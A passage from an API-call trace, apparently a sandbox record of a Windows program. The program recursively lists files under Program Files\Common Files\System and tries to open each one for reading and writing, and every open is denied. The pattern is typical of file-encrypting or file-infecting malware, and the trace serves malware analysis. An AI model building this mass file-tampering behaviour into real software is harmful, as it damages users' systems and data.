dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.597] GetLastError () returned 0x5 [0103.597] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0103.597] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.597] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0103.597] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.598] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0103.598] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0103.598] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0103.598] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System") returned 36 [0103.598] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\*.*") returned 40 [0103.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0103.604] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.604] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0103.604] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado") returned 40 [0103.604] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\*.*") returned 44 [0103.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.608] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.608] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0103.608] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0103.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.611] GetLastError () returned 0x5 [0103.611] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0103.611] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0103.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.614] GetLastError () returned 0x5 [0103.614] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0103.615] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\en-US") returned 46 [0103.615] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*") returned 50 [0103.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.615] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.615] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0103.615] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0103.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.618] GetLastError () returned 0x5 [0103.618] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0103.618] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.618] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0103.618] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0103.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.619] GetLastError () returned 0x5 [0103.619] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0103.619] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0103.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.620] GetLastError () returned 0x5 [0103.620] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0103.621] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0103.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.621] GetLastError () returned 0x5 [0103.621] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0103.621] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0103.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.621] GetLastError () returned 0x5 [0103.621] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0103.622] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0103.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.622] GetLastError () returned 0x5 [0103.622] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0103.622] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0103.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.625] GetLastError () returned 0x5 [0103.625] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0103.625] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0103.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.626] GetLastError () returned 0x5 [0103.626] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0103.626] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0103.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.626] GetLastError () returned 0x5 [0103.626] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0103.626] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0103.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.627] GetLastError () returned 0x5 [0103.627] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0103.627] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54 [0103.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.629] GetLastError () returned 0x5 [0103.629] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0103.629] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned 53 [0103.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.629] GetLastError () returned 0x5 [0103.629] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0103.630] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned 51 [0103.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.630] GetLastError () returned 0x5 [0103.630] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0103.630] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53 [0103.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.630] GetLastError () returned 0x5 [0103.630] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0103.630] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53 [0103.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.631] GetLastError () returned 0x5 [0103.631] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 